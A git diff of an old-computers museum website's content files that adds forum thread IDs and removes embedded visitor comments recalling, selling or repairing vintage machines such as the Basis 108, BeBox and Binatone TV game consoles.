https://archive.org/details/BASFSystem7100Basic/page/n1/mode/2up @@ -71,58 +72,6 @@ params:  compiled/archived by Heca Systems\  type of document : PDF\  source : [Heca Systems](http://www.heca.be) - comments: - - author: Günther (Austria) - date: Tuesday 18th August 2020 - text: Hi, does anybody have boot disks for this system (CP/M or BASIC)? - - author: Willem Matthijs (België) - date: Sunday 22nd March 2020 - text: |- - Hi Norbert, - - could you please contact me?\ - i am restoring a BASF 7130 at the moment and I have some questions along the way. - - Thanks, - - my email : wimmatthijs@gmail.com - - author: Norbert (Germany) - date: Monday 25th November 2019 - text: |- - The model shown is a BASF7120$ my father was chief developer on this system at BASF in Ludwigshafen$ we had one of these computers at home. - - The computer was based on a DigiLog (USA) Personal Computer, which had an additional printer built in (the paper came out on the top), but was to faulty to be sold (power supply, monitor control, mechanical construction and more.). - - The operating system was an "Enhanced commercial BASIC" interpreter and/or an Assembler\ - Later on, a CP/M version was released\ - The official price was 16.000 DM\ - The CPU frequency was 4.000 MHz\ - The memory was 64 kByte + FDC (don''t know how much RAM was impemented there)\ - The production ended 1987, after a press release of the "SPIEGEL" magazine and legal trials claimed that due to the lack of a Parity Bit in the Memory, the computer was too unsafe for serious applications.\ - (However, in almost 10 years of use and programming of that computer I personally never experienced any(!) accidental data alteration). - - It had 2 CPUs (Z80A) which were able to operate independently$ some programs used it for parallel processing(!).\ - One of them was part of the FDC (Floppy Disk Control), the upper of the three PCBs which were found inside. - - Ports: It had a Centronics parallel port and a V.24 / RS232 port at the back. - - The rocker switches on the right side of the keyboard were used to preset programs (rarely used), as well as the switch banks (DIL-Switches) on the rear side of the computer. - - If you are interested in more information, please feel free to contact me. - - author: Willem Matthijs (België) - date: Sunday 8th September 2019 - text: |- - I acquired the 7130 version of this computer built in 1982.\ - It seems like this one was a special version with a hard disk on it.\ - It was used to bookkeeping for a winery, i acquired it with an AZERTY French keyboard in the south of France.\ - It has a ''pattent pending'' hard disk controller, morst boards are by digi-logic, they keyboard is by Key-tronic corp.\ - And yes, also my cataract, which will be taken care of soon - - author: Duuuddddd (wefefwefw) - date: Sunday 3rd April 2016 - text: It looks like a mirowave XD - - author: Shane Hill (Austin, TX USA) - date: Monday 14th February 2011 - text: This particular model in the image, as well as some other computer images I have seen on the site - have screens that have developed "cataracts." For those of you with older computers, google CRT cataracts. It''s actually pretty easy to repair. -Shane 1/14/11 oc_id: 1301 source: url: https://web.archive.org/web/20230603020201/http://www.old-computers.com/museum/computer.asp?c=1301 diff --git a/content/museum/basis-108.md b/content/museum/basis-108.md index 136956e2..6ba9531e 100644 --- a/content/museum/basis-108.md +++ b/content/museum/basis-108.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 107 photos: - title: INSIDE subtitle: '' @@ -88,36 +89,6 @@ params: subtitle: '' text: '''''The memory tool''''' image: /media/museum/pubs/basis_108_pub_outil-memoire.jpg - comments: - - author: former basis user (usa) - date: Monday 1st August 2022 - text: But I did get some money for recycling the huge and thick Basis aluminum cases!!! One could pretty much drive a car over them without damage - and I stood on the cases several times to reach something on a high shelf. - - author: former basis user (usa) - date: Monday 1st August 2022 - text: I had two Basis 108s, each with the two floppy drives. I was also in the user group, communication over a telephone handset modem. I needed CP/M for Wordstar, and the 6502 to run programs colleagues had written. I really did like those Basis machines, but eventually I needed more computing power, so switched to a PC (I might have stayed with Apple, had they not locked everything up with the Lisa - I need to be able to choose my own hardware and software, not have Jobs do it for me). - - author: Charlie Weesner (Tucson, Az) - date: Friday 23rd May 2014 - text: |- - I used my Basis 108 for two or three years. The 16 MB retro-fit hard disk, and everything. There was a "Basis Users Group" with about 125 members (peak). I moved from Apple DOS to p-system, then to CP/M. Almost everything worthwhile I did under CP/M - including a command processor replacement whose name I don''t recall. I upgraded the 2 MHz 8080 CPU on the motherboard with an 8 MHz Z80 card. Centronics port to a dot-matrix printer. Serial port to a Hayes modem. - - Eventually Basis got shut out for copyright infrigement on Apple DOS in ROM. - - author: Ed Weiner - date: Friday 12th April 2013 - text: |- - I too had a Basis 108. I visited a nice couple in Munster, Germany and got the first upgrade z80 card to run at 4.5\ - Also a very smart audio engineer, a Mr. Smith, in Cali, adapted a $995 hard drive to work with the Basis. The hard drive Co. failed in their attempt. - - author: Peter Gilvarry (USA formerly Hong Kong) - date: Wednesday 11th April 2012 - text: I had one of theses that was built under a licence in Hong Kong, known as Medfly. I belonged to a US based user''s group and learned a lot about computing using this PC. I ran both Applesoft and CPM on it for many years. - - author: Andy Harper (USA) - date: Sunday 19th February 2012 - text: I remember playing Karatika on this computer. I think Lotus 123 was used as well. - - author: RockDoctor (Minnesota, US) - date: Tuesday 16th November 2010 - text: The Basis 108 was my first personal computer. Bought it in spring, 1982, so that I''d have a unit at home compatible with the Apple II in my office. It served me well! - - author: George (USA) - date: Tuesday 5th January 2010 - text: Why did Basis fail? oc_id: 92 source: url: https://web.archive.org/web/20230608082659/http://www.old-computers.com/museum/computer.asp?c=92 diff --git a/content/museum/bebox.md b/content/museum/bebox.md index 4a563410..dfd67936 100644 --- a/content/museum/bebox.md +++ b/content/museum/bebox.md @@ -64,6 +64,7 @@ params: - photos - emulators - links + forum_thread: 1112 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -89,67 +90,6 @@ params: - title: BeBox Zone url: http://www.bebox.nu/ text: The BeBox Zone offers a wealth of information about the BeBox - comments: - - author: Vojin Zivadinovic (Serbia) - date: Sunday 6th May 2018 - text: It''s a SIEMENS NIXDORF SCENIC Pro M6 i think and it works ,don''t need it and i want to sell it - - author: Vojin Zivadinovic (Serbia) - date: Sunday 6th May 2018 - text: I have a PC that is very old and i want determine it''s value and probably sell it,if you can help me contact me on my e-mail vojinzivadinovic@yahoo.com - - author: Sam Taber - date: Thursday 15th March 2018 - text: Paul Taylor, can i purchase it? - - author: Renaud Schweingruber (Switzerland) - date: Wednesday 12th July 2017 - text: |- - Jonathan Present, how can I get in touch with you ?\ - Thanks in advance - - author: Paul Taylor (North Hollywood, California, USA) - date: Saturday 4th February 2017 - text: |- - I have a BeBox dual 133MHz that I purchased about six years ago but one of the plastic caps that go on top of the front plastic bezel is broken and I wanted to know if anybody out there might have an extra one for sale.\ - Also, I may possibly sell this computer if anybody is interested. - - author: Jonathan Present (USA) - date: Sunday 22nd May 2016 - text: When Be closed, I purchased a large number of BeBoxes and parts. I still have the parts. Should anyone require anything, please contact me with your request, I also have printed documentation, and possibly some software - - author: Hap Aziz (USA) - date: Saturday 1st November 2014 - text: |- - Hello. I have a BeBox. It is not giving a video signal. Seems to boot up fine and makes all the right noises. Blinkenlights work. There is no signal going to the monitor. I have tried several monitors, cables, and two different video cards in every PCI slot. Any ideas? - - Contact me: hapaziz at the "g" - - author: memsom - date: Monday 21st July 2014 - text: If you really want a BeBox, I would go for the 133Mhz version. The 66Mhz version is too slow to run any version of BeOS very well. I owned a 66 for about 3 years, and it was a sad day when I let it go, but it was more or less useless to me by that point. - - author: Duncan Tallon (United States) - date: Sunday 9th February 2014 - text: Hello all, I am very interested in purchasing a BeBox. Please contact me a at dtallon13(at)gmail(dot)com. - - author: Leonard Banting (Calgary, AB ) - date: Tuesday 13rd August 2013 - text: |- - LOVE BeOS! it was everything that AmigaOS and MacOS Classic could had been. - - I used to run it on a really flaky AMD system I had that would crash constantly running windows, but not BeOS! it was rock solid. There is even a large $ion of software for it too. - - I later moved on to ZetaOS and now HAIKU. - - author: Thierry (Belgium) - date: Monday 18th June 2012 - text: I do have one that is taking dust in a box. Looking for an enthousiast or collector to give this beauty a second life. - - author: J duPlessis (Wales) - date: Monday 22nd August 2011 - text: I run a server on a computer with less power than this - - author: Dale Gribble (Arlen, Texas) - date: Friday 20th August 2010 - text: I want one - - author: Matthew Veety (United States) - date: Saturday 3rd July 2010 - text: Amazing machine. It was the very first computer I ever used at the young age of 6 years old (back in 1999). The machine is still my primary computer (this message was typed on it). Runs fast and BeOS takes up barely any RAM. The geekport is really fun too allowing you to expand and fool around with hardware without the issue of damaging your machine. - - author: Genie (Finland) - date: Thursday 31st January 2008 - text: What a geeky computer! - - author: Marianne Ibbotson (England) - date: Friday 21st December 2007 - text: It should be noted that while the company that made the BeBox and BeOS no longer exists, it has inspired the open source Haiku OS, which aims to be source and binary compatible with BeOS (at least, x86 BeOS). Ironically (given the original BeOS's attempt to be lightweight by not having backwards compatibility needs), wanting to be binary compatible with BeOS limits some of the design decisions taken by Haiku, for example, having to use a rather old version of GCC. oc_id: 1142 source: url: https://web.archive.org/web/20230604181440/http://www.old-computers.com/museum/computer.asp?c=1142 diff --git a/content/museum/bentley-compu-vision.md b/content/museum/bentley-compu-vision.md index a819b43f..ad6612b9 100644 --- a/content/museum/bentley-compu-vision.md +++ b/content/museum/bentley-compu-vision.md @@ -54,6 +54,7 @@ params: - photos - emulators - links + forum_thread: 1000 photos: - title: COMPU-VISION subtitle: '' @@ -80,22 +81,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Bently Owner (USA) - date: Friday 13rd July 2018 - text: I bought this system at a yard sale sometime in the late 80''s. There was a major problem. In any game, the ball would come out, hit the player "paddle" on the right, and then start bouncing from top to bottom of screen in a straight line, with no way to ever hit it again. To this day I still wonder what kind of defect could cause this to happen. - - author: Rot Meatscrape (Vatican City State) - date: Tuesday 5th September 2017 - text: Hello there, I would like to express my feelings for the meat on my carpet. Sometimes it cries, and it makes me feel sad. Goodbye, see you next year. - - author: Joshua Sanders - date: Monday 11th August 2014 - text: I have the system I en her item it from my great grandma and looking to possibly sell I have opened it once but never tried it looking to find how much it is worth... - - author: Terry (USA) - date: Sunday 22nd May 2011 - text: I have information about the Bentley Compuvision, in fact I have it in it''s original packaging. Graphics were Black $ White, it had only three sounds, and the maximum score is 15. Once you reach fifteen, all games are rendered unplayable and you must press Game Reset. The score does not change or reset when you switch games. - - author: Terry (TX, US, NA, Earth, SS, MW, U) - date: Sunday 24th April 2011 - text: I have played the Bentley Compu-vision. I have the system and it''s original packaging. The sound isn''t very advanced, just static, and the color is black and white. The games are Practice, Soccer, Squash, and Tennis. All the games are hit a ball back-and-forth. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/billings-bc-12.md b/content/museum/billings-bc-12.md index bdedb81e..8cdaae5f 100644 --- a/content/museum/billings-bc-12.md +++ b/content/museum/billings-bc-12.md @@ -62,6 +62,7 @@ params: - photos - adverts - docs + forum_thread: 1019 photos: - title: SYSTEM subtitle: '' @@ -115,28 +116,6 @@ params:  size : 316 KB **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Ulrik Lie - date: Saturday 21st July 2012 - text: Does anyone knows what it would be worth today? (Billings bc-12fd) - - author: Pablo Montini (Mar del Plata, Argentina) - date: Monday 30th April 2012 - text: |- - Some pictures of OASIS and BASIC Quick Reference Guide\ - https://plus.google.com/photos/108501059897305008534/albums/5737346479414645761 - - author: Pablo Montini (Mar del Plata, Argentina) - date: Monday 30th April 2012 - text: |- - I worked with four BC12-FD (until 1985), each had 2 units of 8-inch disk (1MB each disk) in a separate gabinate. Here some very interesting features:\ - a) the operating system OASIS, was a subset of IBM''s CMS running on Virtual Machines (VM) of the IBM 370. The commands have the same syntax and the same options.\ - b) the file names were the same as in CMS, "filename (8). extension (8): drive (1)"\ - c) you could connect two or more networked computers using the RS232 serial output in a ring topology. Making it possible to send files from one computer to another.\ - d) The BASIC was very structured, with statements like: SELECT-CASE-CEND, IF-THEN-ELSE-IfEnd, WHILE-WEND\ - e) In addition to driving key indexed files with string\ - He was an excellent computer for its time (Commodore 64 and Radio Shack). - - author: George Hamstra (USA) - date: Wednesday 18th April 2012 - text: 'RE: The Billings Computers were quite astounding for their time. They offered 64K of memory, and dual 360K disk drives (SS/DD) dual 720K diskette drives (DS/DD NOT HD diskettes) in later models. They all ran the OASIS operating system (later renamed THEOS). I still have mine and it runs. I have COBOL, FORTRAN, BASIC, Assembler, plus numerous business applications. Mine is the later model with the "steel case" that replaced the fiberglass case in the photo. The company that produced them was founded by Roger Billings who did significant hydrogen research, as well as early networking of computers. In the sub-directory (/dda) of my web page is some interesting AT$T computer archives.' oc_id: 1046 source: url: https://web.archive.org/web/20221204094342/http://www.old-computers.com/museum/computer.asp?c=1046 diff --git a/content/museum/binatone-colour-tv-game-4-plus-2-model-n-01-4850.md b/content/museum/binatone-colour-tv-game-4-plus-2-model-n-01-4850.md index 5638194c..6de375b7 100644 --- a/content/museum/binatone-colour-tv-game-4-plus-2-model-n-01-4850.md +++ b/content/museum/binatone-colour-tv-game-4-plus-2-model-n-01-4850.md @@ -46,6 +46,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1006 photos: - title: COLOUR TV GAME 4 PLUS 2 subtitle: '' @@ -59,19 +60,6 @@ params: subtitle: '' text: This is the Binatone Colour TV Game 4 plus 2 with its optional light gun sold separately image: /media/museum/photos/binatone_colour-tv-game-4-plus-2_2.jpg - comments: - - author: paul winsor (United Kingdom) - date: Monday 10th November 2014 - text: and it was bought sometime between 1974 and 1977 if thats any use to anyone - - author: paul winsor (United Kingdom) - date: Monday 10th November 2014 - text: i have a working one of these , with all controlers . can anyone tell m how much it might be worth please - - author: Paul Cheffings (UK) - date: Tuesday 31st July 2007 - text: Does anyone know where I might be able to obtain a circuit diagram as I have been given one of these to see if I can get it working but without the diagram it is almost impossible - - author: Andy Taylor (UK) - date: Tuesday 17th July 2007 - text: I was given one of these this week. Will give it a go and report back. oc_id: 1032 source: url: https://web.archive.org/web/20230614011005/http://www.old-computers.com/museum/computer.asp?c=1032 diff --git a/content/museum/binatone-colour-tv-game-mk-10-model-n-01-4842.md b/content/museum/binatone-colour-tv-game-mk-10-model-n-01-4842.md index 86c6d710..b2880a03 100644 --- a/content/museum/binatone-colour-tv-game-mk-10-model-n-01-4842.md +++ b/content/museum/binatone-colour-tv-game-mk-10-model-n-01-4842.md @@ -54,6 +54,7 @@ params: - photos - software - links + forum_thread: 1010 photos: - title: COULOUR TV GAME MK 10 subtitle: '' @@ -96,13 +97,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Nial (UK) - date: Wednesday 12th September 2018 - text: This is the first game system I owned. No idea how much it cost, my dad brought it home one day. Probably about 78/79. It broke eventually and we got a Spectrum 16k :) - - author: rod (canada) - date: Sunday 28th January 2018 - text: A pong console that featured joysticks instead of paddles??? Now I''ve truly seen everything. related: - /museum/ingersoll-xk-410c - /museum/mbo-tele-ball-ix diff --git a/content/museum/binatone-colour-tv-game-mk-6-model-n-01-4761.md b/content/museum/binatone-colour-tv-game-mk-6-model-n-01-4761.md index 000ef710..d0459d29 100644 --- a/content/museum/binatone-colour-tv-game-mk-6-model-n-01-4761.md +++ b/content/museum/binatone-colour-tv-game-mk-6-model-n-01-4761.md @@ -46,6 +46,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1085 photos: - title: COLOUR TV GAME MK 6 subtitle: '' diff --git a/content/museum/binatone-colour-tv-game-model-n-01-4931.md b/content/museum/binatone-colour-tv-game-model-n-01-4931.md index 159f32aa..1d8abbda 100644 --- a/content/museum/binatone-colour-tv-game-model-n-01-4931.md +++ b/content/museum/binatone-colour-tv-game-model-n-01-4931.md @@ -9,6 +9,7 @@ params: company_name: Binatone tabs: - photos + forum_thread: 1008 photos: - title: CONTROL PANEL subtitle: '' @@ -18,16 +19,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/binatone_4931_box.jpg - comments: - - author: Elizabeth (Scotland) - date: Saturday 27th November 2010 - text: I''ve still got mine lol... - - author: William (Australia) - date: Tuesday 28th September 2004 - text: |- - I use to have this machine,oh yeah my friends and me use to really want to play it so bad one day the end of the power cord was missing and me at 10 years old.decided to put the cord straight into the power point..lol yeah and BANG! - - This machine was really something.. oc_id: 1034 source: url: https://web.archive.org/web/20230614010954/http://www.old-computers.com/museum/computer.asp?c=1034 diff --git a/content/museum/binatone-tv-game-unit-model-n-01-4990.md b/content/museum/binatone-tv-game-unit-model-n-01-4990.md index 74898847..86e87a54 100644 --- a/content/museum/binatone-tv-game-unit-model-n-01-4990.md +++ b/content/museum/binatone-tv-game-unit-model-n-01-4990.md @@ -48,10 +48,7 @@ params: value: 'No' - label: PRICE value: £23.95 (UK, 197?) - comments: - - author: Bilky Asko (The United Kindom of Great Britain and Northern Ireland) - date: Monday 4th July 2005 - text: Binatone have come a long way these days and now produce cheapo crodless telephones. + forum_thread: 1014 oc_id: 1040 source: url: https://web.archive.org/web/20230613001100/http://www.old-computers.com/museum/computer.asp?c=1040 diff --git a/content/museum/binatone-tv-master-4-plus-2-model-n-01-4869.md b/content/museum/binatone-tv-master-4-plus-2-model-n-01-4869.md index 49abb8dc..96faf895 100644 --- a/content/museum/binatone-tv-master-4-plus-2-model-n-01-4869.md +++ b/content/museum/binatone-tv-master-4-plus-2-model-n-01-4869.md @@ -48,6 +48,7 @@ params: value: £9.99 (UK, 197?) tabs: - photos + forum_thread: 1007 photos: - title: COMPLETE SYSTEM subtitle: '' diff --git a/content/museum/binatone-tv-master-mk-10-model-n-01-4834.md b/content/museum/binatone-tv-master-mk-10-model-n-01-4834.md index 38f13a9e..928d5e9c 100644 --- a/content/museum/binatone-tv-master-mk-10-model-n-01-4834.md +++ b/content/museum/binatone-tv-master-mk-10-model-n-01-4834.md @@ -52,6 +52,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1012 photos: - title: BASE UNIT subtitle: '' @@ -73,22 +74,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/binatone_tv-master-mk-10_box_2.jpg - comments: - - author: Alleged_Geek (UK) - date: Friday 23rd July 2021 - text: I can confirm that this system uses the AY-3-8610 chip. I recently won this beautiful old system at auction and it came in its original box which also included the instruction manual (which also has the circuit diagram) I had to make a minor repair and took a photo of the chip in question. - - author: Maggie (SE England) - date: Wednesday 18th July 2012 - text: I have one to sell, boxed and in excellent condition, was gonna try a boot sale but want more than a pound for it - - author: Ian Smith - date: Saturday 2nd July 2011 - text: I bought one of these at a car boot sale for £1 and it still works! Most modern consoles go wrong after a year or two. The sound comes out of the console, not the TV. - - author: Martin (GB) - date: Thursday 23rd December 2010 - text: I used to have one, that is all I can probably add, apart from that I believe the sound came out of the TV, not an internal speaker. - - author: joe (uk) - date: Friday 11th February 2005 - text: just wondering if any1 has any info on the price of this, ive been informed they're in short supply oc_id: 1038 source: url: https://web.archive.org/web/20230613001115/http://www.old-computers.com/museum/computer.asp?c=1038 diff --git a/content/museum/binatone-tv-master-mk-6-model-n-01-4907.md b/content/museum/binatone-tv-master-mk-6-model-n-01-4907.md index d3ce718e..464f5e5b 100644 --- a/content/museum/binatone-tv-master-mk-6-model-n-01-4907.md +++ b/content/museum/binatone-tv-master-mk-6-model-n-01-4907.md @@ -9,6 +9,7 @@ params: company_name: Binatone tabs: - photos + forum_thread: 1013 photos: - title: TV MASTER MK 6 subtitle: '' @@ -38,10 +39,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/binatone_tv-master-mk6_box_orange.jpg - comments: - - author: G Fisher (England) - date: Friday 10th March 2017 - text: I have a mark6 tv master 01-4907 is it worth anything oc_id: 1039 source: url: https://web.archive.org/web/20230613001110/http://www.old-computers.com/museum/computer.asp?c=1039 diff --git a/content/museum/binatone-tv-master-mk-8-model-n-01-4823.md b/content/museum/binatone-tv-master-mk-8-model-n-01-4823.md index 07baf19b..50864022 100644 --- a/content/museum/binatone-tv-master-mk-8-model-n-01-4823.md +++ b/content/museum/binatone-tv-master-mk-8-model-n-01-4823.md @@ -52,27 +52,12 @@ params: value: Unknown tabs: - photos + forum_thread: 1011 photos: - title: TV MASTER MK 8 subtitle: '' text: Thanks to [www.computissimo.ch](http://www.computissimo.ch/) for this picture. image: /media/museum/photos/binatone_tv-master-mk-8_2.jpg - comments: - - author: Nick Brooke (Rugby) - date: Tuesday 3rd January 2017 - text: The system was pre 1977 I had one in 1976 which is when i believe it came out - - author: Geoff Ingram (Banbury) - date: Wednesday 4th November 2015 - text: Hi, I''ve jsut bought one of these on Ebay (I had one as a child) but whilst I can hear it start up and play, I can''t get anything on the tv screen - despite re-tuning the tv. Any ideas please? It should still work on a modern tv shouldn''t it? Cheers.... - - author: Fatboyfun (Bristol, England) - date: Saturday 26th January 2008 - text: I had one of these and i remember that if you turned the dial halfway between games you could make new games based on the two games on either side, Like half football, half squash, Great fun for an 8 year old. - - author: RS (UK) - date: Monday 20th August 2007 - text: I had one of these waaaay back. Eventually cut the joysticks off and plumbed them in to my BBC Micro Analogue port. - - author: Lee Carter (UK) - date: Wednesday 22nd February 2006 - text: I have one of these units, but with the model number 01/4923 rather than 4823. I imagine this is the model number of the UK PAL Unit. oc_id: 1037 source: url: https://web.archive.org/web/20230613001052/http://www.old-computers.com/museum/computer.asp?c=1037 diff --git a/content/museum/binatone-tv-master-mk-iv-model-n-01-4974.md b/content/museum/binatone-tv-master-mk-iv-model-n-01-4974.md index fc7febc3..fadae71a 100644 --- a/content/museum/binatone-tv-master-mk-iv-model-n-01-4974.md +++ b/content/museum/binatone-tv-master-mk-iv-model-n-01-4974.md @@ -9,6 +9,7 @@ params: company_name: Binatone tabs: - photos + forum_thread: 1009 photos: - title: TV MASTER MK IV subtitle: '' @@ -34,27 +35,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/binatone_tv-master-mk-4_box.jpg - comments: - - author: simon king (United Kingdom) - date: Sunday 23rd February 2020 - text: I have a number of these devices including Mk4 , mk6, mk8 and mk10. I also have a number of other first generation consoles :) great fun but trying to get a TV which works with them nowadays is difficult. - - author: Steve N (United Kingdom) - date: Saturday 18th July 2015 - text: |- - I have a 1977 one of these - I paid £7 for it for off ebay in 2008 and it worked at the grand old age of 31 years old - - http://www.youtube.com/watch?v$M1-04SGSRIs - - Need to get it out of the loft and run it again soon - - author: Presley - date: Wednesday 9th January 2013 - text: I just got a Binatone from eBay, I remember these when I was 7. The console works, comes with all controllers, RF cable, and box! And the instruction manual. It came with everything! Good job i still got it:D - - author: Tim - date: Monday 30th January 2012 - text: I bought mine from Woolworths and I think the year was 1977. I still have the console in it''s original box and it still has the Woolworths price sticker £13.95. It didn''t matter that the games were only B$W as our TV was only B$W any way. - - author: Peena (England) - date: Monday 28th November 2011 - text: My brother and I clubbed together and bought one. I was eight years old, and they were fairly new, so your estimate of 1997 is actually correct. We had just met my uncle, who gave each of us £25 - a princely sum! I''m not kidding - this represented about a week''s wage. The console cost about thirty to thirty five pounds, because my bro had to ask me to chip in. I had spent about £15 of my money, so what was left went towards the console. Sadly, it was thrown away by a cleaning company following a fire next door. Shame - it''s the only computer game I can actually play! oc_id: 1035 source: url: https://web.archive.org/web/20230614011025/http://www.old-computers.com/museum/computer.asp?c=1035 diff --git a/content/museum/bit-corporation-bit-60.md b/content/museum/bit-corporation-bit-60.md index a7ee2b19..e031a57d 100644 --- a/content/museum/bit-corporation-bit-60.md +++ b/content/museum/bit-corporation-bit-60.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 368 photos: - title: MECHANICAL KEYBOARD MODEL subtitle: '' diff --git a/content/museum/bit-corporation-bit-90.md b/content/museum/bit-corporation-bit-90.md index d6e79c13..9a4608e9 100644 --- a/content/museum/bit-corporation-bit-90.md +++ b/content/museum/bit-corporation-bit-90.md @@ -67,6 +67,7 @@ params: - adverts - connectors - docs + forum_thread: 108 photos: - title: BIT-90 subtitle: '' @@ -110,30 +111,6 @@ params:  type of document : ZIP\  size : 9,37 Mb\  source : [www.retrocomputers.gr](https://www.retrocomputers.gr/) - comments: - - author: Ray (Netherlands) - date: Wednesday 6th September 2017 - text: I got this computer when I was 10 years. played a few games (had 5 or so). Does anyone know how I can find games for this computer. It still workes fine. - - author: Laios (Greece) - date: Friday 11th July 2014 - text: |- - Coleco carts work but not all of them\ - also can not assign 2nd fire button to joystick for games\ - that use it so you have to use one button in keyboard and one in joystick - - author: Fernando L - date: Sunday 19th May 2013 - text: I owned a Bit-90 when I was child and I always remember that everytime started to program, after a few lines it showed "Out of memory". Now I understand why, it has 1KB of RAM!! Great memories of 80''. - - author: mangler (The vatican) - date: Saturday 4th September 2010 - text: wot channel/band did the rftv output on @:) - - author: Lisias Toledo (Earth) - date: Tuesday 19th March 2002 - text: |- - Hi! When younger, I won a bit-90 computer and one thing I remember well is that it had a connector on the left side where I could put COLECO cartridges!!!!! 8-).\ - I remember playing Zaxxon for hours and hours... It worked even without\ - joystick, as the bit-90 used the cursor keys as alias for joy1. - - I miss it... 8-) oc_id: 93 source: url: https://web.archive.org/web/20230608154042/http://www.old-computers.com/museum/computer.asp?c=93 diff --git a/content/museum/bit-corporation-dina-2-in1-bit-7200-chuang-zao-zhe-50.md b/content/museum/bit-corporation-dina-2-in1-bit-7200-chuang-zao-zhe-50.md index 0befe131..e719fde4 100644 --- a/content/museum/bit-corporation-dina-2-in1-bit-7200-chuang-zao-zhe-50.md +++ b/content/museum/bit-corporation-dina-2-in1-bit-7200-chuang-zao-zhe-50.md @@ -9,6 +9,7 @@ params: company_name: BIT CORPORATION tabs: - photos + forum_thread: 1277 photos: - title: DINA subtitle: '' diff --git a/content/museum/blaupunkt-tv-action.md b/content/museum/blaupunkt-tv-action.md index ec41782d..f5c3933b 100644 --- a/content/museum/blaupunkt-tv-action.md +++ b/content/museum/blaupunkt-tv-action.md @@ -54,6 +54,7 @@ params: - photos - emulators - links + forum_thread: 1062 photos: - title: TV-ACTION subtitle: '' diff --git a/content/museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac.md b/content/museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac.md index 63dec863..c7e8e510 100644 --- a/content/museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac.md +++ b/content/museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac.md @@ -15,6 +15,7 @@ params: - software - emulators - links + forum_thread: 1063 photos: - title: JOPAC JO7400 subtitle: '' @@ -195,15 +196,6 @@ params: - title: www.videopac.org url: http://www.videopac.org/ text: Excellent site ! Everything Videopac is here ! - comments: - - author: thermonono (france) - date: Saturday 21st May 2005 - text: |- - I have an other JOPAC console, the JO-1450 proposed in france in same time than JO-7400 by 'Continental Edisson' & 'SABA'. You can see it on my web-page : - - http://karakeupon.free.fr/jopac/ - - thank's to tell me if you have any technical informations about this one. related: - /museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac - /museum/magnavox-odyssey2 diff --git a/content/museum/brascom-br-1000m.md b/content/museum/brascom-br-1000m.md index 32a8b243..21279629 100644 --- a/content/museum/brascom-br-1000m.md +++ b/content/museum/brascom-br-1000m.md @@ -54,6 +54,7 @@ params: value: Built-in CPU - label: PERIPHERALS value: S100 cards + forum_thread: 527 oc_id: 533 source: url: https://web.archive.org/web/20230608084711/http://www.old-computers.com/museum/computer.asp?c=533 diff --git a/content/museum/bridge-computer-company-bridge-3c.md b/content/museum/bridge-computer-company-bridge-3c.md index 007c59d2..9a644851 100644 --- a/content/museum/bridge-computer-company-bridge-3c.md +++ b/content/museum/bridge-computer-company-bridge-3c.md @@ -48,6 +48,7 @@ params: value: Built-in - label: PERIPHERALS value: S100 expansion boards + forum_thread: 1302 oc_id: 1337 source: url: https://web.archive.org/web/20230608085733/http://www.old-computers.com/museum/computer.asp?c=1337 diff --git a/content/museum/british-micro-mimi-802-803-804.md b/content/museum/british-micro-mimi-802-803-804.md index 26576952..c9edc2e4 100644 --- a/content/museum/british-micro-mimi-802-803-804.md +++ b/content/museum/british-micro-mimi-802-803-804.md @@ -58,82 +58,12 @@ params: value: Unknown tabs: - photos + forum_thread: 590 photos: - title: INSIDE THE MIMI-803 subtitle: '' text: Thanks to **Richard** from **www.dragondata.co.uk** image: /media/museum/photos/britishmicro_mimi803_inside_1.jpg - comments: - - author: Jon Hall (England) - date: Wednesday 2nd December 2020 - text: Hi All. I’m proud to say that I built a lot of the Mimi computers for British Micro. I worked there in the early 80’s and remember having to tune the CRT monitors while they were turned on, with the covers off... the guy that owned the company was a fella from Armenia called Manus Hegoyan (probably wrong). This is what got me into a career in computing. - - author: Rich (UK) - date: Monday 14th January 2019 - text: Does anyone have a copy of the Trojan Software development system for the MIMI they can send me ? I developed a lot of stuff using it and thought it was the bee''s knees! - - author: Bart - date: Sunday 20th May 2018 - text: |- - I was a designer/engineer at British Micro from 1982. I think I worked on the ''803'' onwards. That one had text and graphics mono display modes as has been mentioned. The next ''804'' was text only but with a higher quality display than was common at the time. There was also an ''805'' machine with colour graphics, but that never got into production. - - The machines shipped with ''OS/M'', a clone of the CP/M operating system, and had an optional hard drive. Compared with some 8-bit Z80 machines of the time (eg. the hobbyist ZX81) it was far superior, though at a cost as it was aimed at business. I believe it even outperfomed the original 8/16-bit IBM PC. - - I can confirm that ''Mimi'' was the name of the owner''s daughter (born ''78). - - author: Stan Brown (Leicester, UK) - date: Friday 27th November 2015 - text: I''ve actually got one but no discs, manuals or other bits. As far as I am aware the last time I connected it to a monitor it was working, about 3 years ago. - - author: jim austin (uk) - date: Thursday 10th September 2015 - text: we just got a mimi 803 - lots of manuals, software etc. - - author: Alex Wolski (UK) - date: Wednesday 10th December 2014 - text: I was once a designer at the company British Micro of Watford at end of 1981. The Mimi derived from their previous computer which had a user programmable resolution feature for the monitor display though its PLL proved visually unstable and my claim to fame is I reverted it back to a fixed resolution format which was nice $ steady - at the usual 80 cols x 25 rows. Yes the machine attracted great interest at the various PC exhibitions of the time. Not sure how the Mimi fared afterwards in terms of new features. Also the name ''Mimi'' was taken from the owner''s little daughter, not after the wife, unless they shared the same name (?). - - author: Alex Wolski (UK) - date: Wednesday 10th December 2014 - text: I was once a designer at the company British Micro of Watford at end of 1981. The Mimi derived from their previous computer which had a user programmable resolution feature for the monitor display though its 